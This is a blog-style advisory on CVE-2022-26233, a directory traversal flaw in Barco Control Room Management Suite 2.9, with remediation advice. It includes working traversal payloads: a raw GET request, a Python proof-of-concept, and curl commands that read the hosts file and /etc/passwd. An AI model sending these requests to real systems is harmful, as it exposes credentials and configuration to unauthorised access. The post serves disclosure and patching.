CVE-2022-26233 - Directory Traversal Exploit in Barco Control Room Management Suite 2.9 Build 0275

In February 2022, the security community uncovered a significant vulnerability — CVE-2022-26233 — affecting Barco’s Control Room Management Suite version 2.9 Build 0275. This vulnerability is a classic directory traversal issue that could let an attacker access confidential files and system components way outside the web app’s intended reach. What makes it even more dangerous is how simple the attack vector is: a single crafted request with a GET /..\.. substring is often enough to start trouble.

In this post, we'll break down exactly what this vulnerability is, see how it works, show some proof-of-concept code, and point you to original research and resources for remediation.

Understanding the Vulnerability

Directory traversal vulnerabilities allow attackers to read arbitrary files from a server by manipulating URL paths. Instead of serving just resources from the web directory, vulnerable systems may end up serving secrets like password files or internal configuration just because someone asked in a sneaky way.

For Barco Control Room Management Suite (before patches after Build 0275), attackers could do this by simply starting requests with GET /..\... The program would fail to sanitize these dot-dot-slash (../) segments, and end up returning whatever file the attacker wanted—within the privileges of the server process.

How the Attack Works

Imagine the server’s web root is at C:\Program Files\Barco\Suite\webroot, and you want to see the Windows hosts file at C:\Windows\System32\drivers\etc\hosts. With this bug, you might just ask the server for:

GET /..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: [victim-ip]

This traverses up four directories (leaving webroot) and grabs sensitive files.

Code Snippet: Proof-of-Concept Exploit

Here’s a proof-of-concept in Python using the famous requests library. Change the IP, PORT, and FILE as needed.

import requests

TARGET = 'http://target-ip:port';
FILE = '../../../../../Windows/System32/drivers/etc/hosts'

url = f'{TARGET}/{FILE}'
headers = {'User-Agent': 'Mozilla/5.'}

r = requests.get(url, headers=headers)
if r.status_code == 200:
    print("[+] Successfully accessed sensitive file!\n")
    print(r.text)
else:
    print("[-] Could not access file. Status:", r.status_code)

Some versions may require %2e encoding or use different slashes depending on web server settings. Try:

GET /..%2f..%2f..%2fWindows\System32\drivers\etc\hosts HTTP/1.1

Note: Do not test this exploit on systems you do not own or have explicit legal permission to assess!

You can also use curl from the command line

curl "http://target-ip:port/../../../../Windows/System32/drivers/etc/hosts";

or for UNIX systems

curl "http://target-ip:port/../../../../etc/passwd";

Why This Matters

- Data Leakage: Attackers could access passwords, internal documentation, configuration files, or even backup databases.

Fix & Recommendation

Barco addressed this issue in later builds. If you are running Suite 2.9 Build 0275 or earlier, update immediately to a fixed version.

Conclusion

CVE-2022-26233 is a straightforward but powerful vulnerability affecting Barco’s Control Room Management Suite. If left unpatched, it allows an attacker to simply walk out your files by skipping up the folder tree. The fix is available from Barco: always update, always test for traversal issues, and never trust user input.

Timeline

Published on: 04/03/2022 23:15:00 UTC
Last modified on: 04/11/2022 17:45:00 UTC